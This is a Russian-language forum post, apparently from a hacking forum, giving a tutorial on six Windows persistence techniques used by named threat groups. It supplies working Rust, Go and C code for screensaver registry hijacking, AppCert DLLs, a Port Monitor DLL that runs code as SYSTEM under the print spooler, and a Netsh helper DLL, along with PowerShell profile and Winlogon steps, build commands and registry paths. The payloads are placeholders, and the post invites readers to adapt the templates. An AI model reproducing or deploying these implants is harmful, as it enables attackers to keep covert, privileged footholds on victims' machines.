D2
Администратор
- Регистрация
- 19 Фев 2025
- Сообщения
- 4,380
- Реакции
- 0
Часть 1 вы можете найти здесь: https://xss.is/threads/130098/
1- Screensavers.
Название | Необходимые привилегии | Используется |
---|---|---|
Screensavers | Обычный пользователь/Средняя целостность (Medium) | Gazer - бэкдор Turla Group |
Давайте сделаем то же самое. Сначала зайдем в редактор реестра, поскольку эта техника связана с изменением нескольких ключей в реестре. Если перейти к Current User, затем к Control Panel и Desktop, этот ключ содержит множество значений, которые также настраивают экранную заставку.
Сейчас мы не видим ничего особенного для экранной заставки, кроме этого SaveActiveSetting. Это означает, что данная машина фактически не использует экранные заставки в реальности. Возможно, это не так, но в любом случае давайте настроим это для нашего механизма персистентности.
Давайте напишем пример кода на Golang и Rust для редактирования ключей реестра.
Rust:
C++: Скопировать в буфер обмена
Код:
use winreg::enums::HKEY_CURRENT_USER;
use winreg::RegKey;
use winreg::enums::KEY_SET_VALUE;
fn main() {
let hklm = RegKey::predef(HKEY_CURRENT_USER);
let key = match hklm.open_subkey_with_flags("Control Panel\\Desktop", KEY_SET_VALUE) {
Ok(key) => key,
Err(_) => {
println!("Error: Could not open the key");
return;
}
};
let _res = match key.set_value("SCRNSAVE.EXE", &"C:\\Windows\\System32\\calc.exe") {
Ok(_res) => {
println!("Value set successfully");
}
Err(_) => {
println!("Error: Could not set the value");
return;
}
};
//configure the timeout
let _res = match key.set_value("ScreenSaveTimeOut", &"7") {
Ok(_res) => {
println!("Value set successfully");
}
Err(_) => {
println!("Error: Could not set the value");
return;
}
};
println!("Done");
}
C-подобный: Скопировать в буфер обмена
Код:
package main
import (
"fmt"
"golang.org/x/sys/windows/registry"
)
func main() {
k, err := registry.OpenKey(registry.CURRENT_USER, `Control Panel\Desktop`, registry.SET_VALUE)
if err != nil {
fmt.Println("Error: ", err)
return
}
defer k.Close()
err = k.SetStringValue("SCRNSAVE.EXE", "C:\\Windows\\System32\\calc.exe")
if err != nil {
fmt.Println("Error: ", err)
return
}
//configure the timeout
err = k.SetStringValue("ScreenSaveTimeOut", "7")
if err != nil {
fmt.Println("Error: ", err)
return
}
fmt.Println("Success")
}
Опять же, эта техника работает только для обычного пользователя, поэтому не требуется высоких привилегий для её настройки. Итак, что мы делаем: мы просто создаём значение SCRNSAVE.EXE в этом ключе, указывающее на наш исполняемый файл полезной нагрузки. Хорошо. И второе, что стоит отметить - это тайм-аут. То есть через какое время должна запуститься экранная заставка, поэтому давайте установим 7 секунд для демонстрационных целей. И это всё. Техника готова. Мы установили нашу персистентность.
Итак, предположим, что пользователь вышел из системы, и теперь снова входит в систему. И я ничего не трогаю. Давайте подождем несколько секунд, пока запустится экранная заставка. И вот оно. Calc.exe был запущен как экранная заставка. И да, это практически всё об этой технике. Нужно помнить, что в корпоративных сетях эта экранная заставка может быть установлена групповой политикой, то есть через Active Directory. И в этих случаях данная техника может быть ненадежной, или вам придется найти другой способ обхода настроек групповой политики.
2- Powershell profile.
Название | Необходимые привилегии | Используется |
---|---|---|
Powershell profile | Обычный пользователь/Средняя целостность (Medium) | Turla |
Когда Powershell запускается, он использует специальные параметры конфигурации, называемые профилями. Они могут быть установлены для пользователя или для машины. Для пользователей нужно создать файл profile.ps1 в определенной папке, которую нужно назвать windowspowershell. Эта папка должна находиться в Documents.
Теперь, если вы создадите файл с именем profile.ps1 в этой папке, он будет запускаться каждый раз, когда Powershell запускается под этим конкретным пользователем. Для демонстрации давайте создадим простой файл profile.ps1, содержащий одну строку для запуска нашей полезной нагрузки, в моем случае calc.exe.
profile.ps1:
Start-Process calc.exe
Теперь когда пользователь или другой механизм запускает Powershell, он будет проверять наличие файла profile.ps1 и запускать его в контексте пользователя. Что приведет к запуску нашего исполняемого файла, в данном случае (calc.exe).
3- AppCert Dlls.
Название | Необходимые привилегии | Используется |
---|---|---|
AppCert Dlls | Administrator/Высокая целостность (High) | FIN8, Honeybee |
- CreateProcess
- CreateProcessAsUser
- CreateProcessWithLogon
- CreateProcessWithToken
Особый интерес AppCert DLL представляют благодаря их специфическим требованиям к реализации. Для правильного функционирования эти DLL должны экспортировать функцию CreateProcessNotify, которая получает путь целевого процесса в качестве своего первого параметра. Такая конструкция позволяет осуществлять выборочное воздействие - специалисты по безопасности могут реализовать логику фильтрации для выполнения кода только в определенных процессах, вместо того чтобы влиять на каждый процесс в масштабах всей системы.
appcertdll.c :
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <stdio.h>
#define STATUS_SUCCESS 0
typedef enum _REASON
{
PROCESS_CREATION_QUERY = 1,
PROCESS_CREATION_ALLOWED = 2,
PROCESS_CREATION_DENIED = 3
} REASON;
typedef NTSTATUS (NTAPI *pRtlAdjustPrivilege)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
extern "C" __declspec(dllexport) NTSTATUS NTAPI CreateProcessNotify(LPCWSTR lpApplicationName, REASON Reason);
LPCWSTR Target = L"C:\\Windows\\System32\\winlogon.exe";
void Run() {
//execute your logic ...
}
NTSTATUS NTAPI CreateProcessNotify(LPCWSTR lpApplicationName, REASON Reason) {
NTSTATUS ntstatus = STATUS_SUCCESS;
int r = -1;
r = lstrcmpiW(Target,lpApplicationName);
if (!r) {
Run();
}
return ntstatus;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
BOOLEAN bEnabled;
NTSTATUS ntstatus;
pRtlAdjustPrivilege RtlAdjustPrivilege = (pRtlAdjustPrivilege)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlAdjustPrivilege");
if (RtlAdjustPrivilege) {
ntstatus = RtlAdjustPrivilege(20, TRUE, FALSE, &bEnabled);
if (ntstatus != STATUS_SUCCESS) {
return FALSE;
}
}
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
ntstatus = CreateProcessNotify(Target, PROCESS_CREATION_QUERY);
break;
case DLL_PROCESS_DETACH:
ntstatus = CreateProcessNotify(Target, PROCESS_CREATION_DENIED);
break;
}
return TRUE;
}
для компиляции в DLL введите в окне терминала:
g++ -shared -o appcert.dll appcertdll.c -fpermissive
Имейте в виду, что этот механизм имеет заметные ограничения. Тестирование показывает, что AppCert DLL ненадежно внедряются в GUI-приложения. Теперь перезагрузим систему и посмотрим, загрузилась ли наша DLL в некоторые процессы.
Как вы можете видеть на изображении выше, наша DLL была внедрена в 5 процессов Windows.
4- Winlogon SHELL-USERINIT.
Название | Необходимые привилегии | Используется |
---|---|---|
Winlogon SHELL-USERINIT | Administrator/Высокая целостность (High) | Tropic Trooper, Gazer/Turla |
HKLM\SYSTEM\Microsoft\Windows NT\CurrentVersion\Winlogon.
Первое ключевое значение - "shell", которое определяет системную оболочку (обычно explorer.exe), запускаемую при входе пользователя. Второе важное значение - "userinit", отвечающее за инициализацию пользовательской сессии. Важно понимать процесс: WinLogon запускает userinit, который, в свою очередь, запускает оболочку. Особую эффективность этой технике придает то, что оба значения реестра могут содержать несколько исполняемых файлов.
Для реализации этой техники атакующий с повышенными привилегиями может изменить значение "shell", включив в него как explorer.exe, так и вредоносную нагрузку (например, "explorer.exe,calc.exe"). Вредоносный исполняемый файл должен находиться в каталоге System32, поскольку полные пути не могут быть указаны в этих значениях реестра, поэтому необходимо скопировать исполняемый файл туда. После внедрения userinit запустит как легитимный explorer.exe, так и вредоносную нагрузку с одинаковыми привилегиями.
В качестве альтернативы злоумышленники могут нацелиться на само значение "userinit", добавив свою вредоносную нагрузку параллельно с легитимным процессом userinit. В этом варианте имплант запускается как прямой дочерний процесс WinLogon, параллельно с userinit, а не как его дочерний процесс. Оба метода обеспечивают персистентность, хотя и различаются по иерархии процессов.
5- Port Monitors.
Название | Необходимые привилегии | Используется |
---|---|---|
Port Monitors | Administrator/Высокая целостность (High) | Неизвестный |
Port Monitor - это компонент Windows, отвечающий за управление взаимодействием между службами очереди печати и физическим оборудованием принтера. Port Monitor работает путем передачи необработанных команд устройству — как правило, принтерам, подключенным либо локально через последовательные порты, либо по сети. Port Monitor реализован как динамически подключаемая библиотека (DLL) и служит важным звеном между службой очереди печати и устройством принтера. В контексте обеспечения постоянного присутствия в системе, возможность установки и настройки пользовательской DLL Port Monitor предоставляет злоумышленнику способ внедрить вредоносный код в службу очереди печати. После установки такой Port Monitor может непрерывно выполнять полезную нагрузку злоумышленника с системными привилегиями (NT AUTHORITY\SYSTEM), тем самым сохраняя скрытое присутствие в системе. Чтобы создать постоянно действующий Port Monitor, злоумышленнику сначала нужно разработать пользовательскую DLL, которая имитирует функциональность легитимного Port Monitor. Основная функция, на которой следует сосредоточиться — это initializePrintMonitor2, которая вызывается при загрузке DLL Port Monitor в систему. Эта функция должна заполнить структуру монитора, что является обязательным процессом для взаимодействия Port Monitor со службой очереди печати.
В злонамеренных целях эта функция initializePrintMonitor2 может быть модифицирована для запуска полезной нагрузки, внедряя вредоносный код в систему при загрузке Port Monitor. Этот код может варьироваться от простых бэкдоров до более сложных эксплойтов, в зависимости от цели злоумышленника. Вредоносный код будет работать в фоновом режиме, часто с привилегиями уровня SYSTEM, тем самым обеспечивая сохранение доступа злоумышленника даже после перезагрузки системы. Таким образом, код DLL будет выглядеть примерно так, и вы можете модифицировать его как угодно.
portmon.c:
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <winsplp.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void Run() {
STARTUPINFO si = {sizeof(si)};
PROCESS_INFORMATION pi;
CreateProcess("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}
// Monitor functions
BOOL WINAPI pfnOpenPort(HANDLE hMonitor, LPWSTR pName, PHANDLE pHandle)
{
return TRUE;
}
BOOL WINAPI OpenPortEx(HANDLE hMonitor, HANDLE hMonitorPort, LPWSTR pPortName,
LPWSTR pPrinterName, PHANDLE pHandle, LPMONITOR2 pMonitor)
{
return TRUE;
}
BOOL WINAPI pfnStartDocPort(HANDLE hPort, LPWSTR pPrinterName, DWORD dwJobId,
DWORD dwLevel, LPBYTE pDocInfo)
{
return TRUE;
}
BOOL WINAPI WritePort(HANDLE hPort, LPBYTE pBuffer, DWORD cbBuf, LPDWORD pcbWritten)
{
return TRUE;
}
BOOL WINAPI ReadPort(HANDLE hPort, LPBYTE pBuffer, DWORD cbBuffer, LPDWORD pcbRead)
{
return TRUE;
}
BOOL WINAPI pfnEndDocPort(HANDLE hPort)
{
return TRUE;
}
BOOL WINAPI ClosePort(HANDLE hPort)
{
return TRUE;
}
BOOL WINAPI pfnXcvOpenPort(HANDLE hMonitor, LPCWSTR pszObject, ACCESS_MASK GrantedAccess, PHANDLE phXcv)
{
return TRUE;
}
DWORD WINAPI XcvDataPort(HANDLE hXcv, LPCWSTR pszDataName, PBYTE pInputData,
DWORD cbInputData, PBYTE pOutputData, DWORD cbOutputData,
PDWORD pcbOutputNeeded)
{
return ERROR_SUCCESS;
}
BOOL WINAPI XcvClosePort(HANDLE hXcv)
{
return TRUE;
}
VOID WINAPI pfnShutdown(HANDLE hMonitor)
{
return;
}
DWORD WINAPI pfnNotifyUsedPorts(HANDLE hMonitor, DWORD cPorts, PCWSTR *ppPortNames)
{
return ERROR_SUCCESS;
}
LPMONITOR2 WINAPI InitializePrintMonitor2(PMONITORINIT pMonitorInit, PHANDLE phMonitor)
{
CreateThread(0, 0, (LPTHREAD_START_ROUTINE)Run, 0, 0, 0);
// Allocate memory for the monitor structure that persists after function return
LPMONITOR2 pMon = (LPMONITOR2)GlobalAlloc(GPTR, sizeof(MONITOR2));
if (!pMon) return NULL;
pMon->cbSize = sizeof(MONITOR2);
pMon->pfnOpenPort = pfnOpenPort;
pMon->pfnOpenPortEx = OpenPortEx;
pMon->pfnStartDocPort = pfnStartDocPort;
pMon->pfnWritePort = WritePort;
pMon->pfnReadPort = ReadPort;
pMon->pfnEndDocPort = pfnEndDocPort;
pMon->pfnClosePort = ClosePort;
pMon->pfnXcvOpenPort = pfnXcvOpenPort; // Changed to use pfnXcvOpenPort
pMon->pfnXcvDataPort = XcvDataPort;
pMon->pfnXcvClosePort = XcvClosePort;
pMon->pfnShutdown = pfnShutdown;
pMon->pfnNotifyUsedPorts = pfnNotifyUsedPorts;
return pMon;
}
g++ -shared -o portmon.dll portmon.c -fpermissive
После этого скопируйте полученный DLL файл (portmon.dll) в папку System32. Следующий шаг - настроить систему для его автоматической загрузки. Это делается путем изменения реестра Windows. Ключ находится по пути: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors\Local Port
Теперь мы изменяем ключ "Driver" на наш собственный пользовательский DLL portmon.dll.
и все, теперь перезагружаем компьютер, чтобы проверить результат.
Как видите, DLL успешно загружена, и наша полезная нагрузка в данном случае Notepad.exe запущена как системный процесс под spoolsv.exe.
6- Netsh Helper DLLs
Название | Необходимые привилегии | Используется |
---|---|---|
Netsh Helper DLLs | Administrator/Высокая целостность (High) | Неизвестный |
Netsh (Network Shell) - это утилита командной строки, которая позволяет системным администраторам и пользователям просматривать или настраивать сетевые параметры в операционных системах Windows. Она предоставляет мощный инструмент для управления сетевыми интерфейсами, правилами брандмауэра и другими критически важными сетевыми конфигурациями. Учитывая её широкое использование и важную роль в администрировании сети, она также является основной целью для эксплуатации злоумышленниками, стремящимися сохранить доступ.
Утилита Netsh от Microsoft допускает расширяемость, что означает, что разработчики могут создавать пользовательские модули или расширения для добавления новых функциональных возможностей. Эти расширения реализованы как динамически подключаемые библиотеки (DLL), известные как "Вспомогательные DLL Netsh". Внедряя новые вспомогательные DLL, злоумышленники могут внедрять вредоносные функции в инструмент Netsh, по сути встраивая постоянный код, который выполняется при каждом запуске Netsh.
Одним из ключевых преимуществ этого метода является то, что Netsh имеет высокопривилегированные операции в системах Windows, особенно в управлении сетью. В результате наличие вспомогательной DLL Netsh предоставляет злоумышленникам возможность выполнять вредоносный код, оставаясь незамеченными для традиционных инструментов мониторинга безопасности.
Процесс установления постоянства через вспомогательные DLL Netsh относительно прост, но очень эффективен. Метод включает создание пользовательской DLL, которая содержит функцию под названием InitHelperDll. Эта функция автоматически вызывается при загрузке DLL системой, что обычно происходит при запуске Netsh.
nethelp.c :
C: Скопировать в буфер обмена
Код:
#include <windows.h>
#include <stdio.h>
void Run() {
STARTUPINFO si={sizeof(si)};
PROCESS_INFORMATION pi;
CreateProcess("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
}
extern "C" __declspec(dllexport) DWORD InitHelperDll(DWORD dwNetshVersion, PVOID pReserved) {
HANDLE th;
th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) Run, 0, 0, 0);
WaitForSingleObject(th, 0);
return 0;
}
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved ) {
switch ( fdwReason ) {
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
netsh.exe add helper [path to helper DLL]
Каждый раз, когда вызывается Netsh (например, сетевым администратором или автоматизированным скриптом системы), вредоносная DLL будет загружена, и имплант будет выполнен в нашем случае как Notepad.exe.
Чтобы удалить эту настойчивость, вам необходимо выполнить команду, показанную ниже.
Надеюсь, вам понравится моя статья. Если у вас есть какие-либо вопросы, отзывы или предложения, или если вы заметили какие-либо ошибки, пожалуйста, не стесняйтесь оставлять комментарии.
Написано с любовью
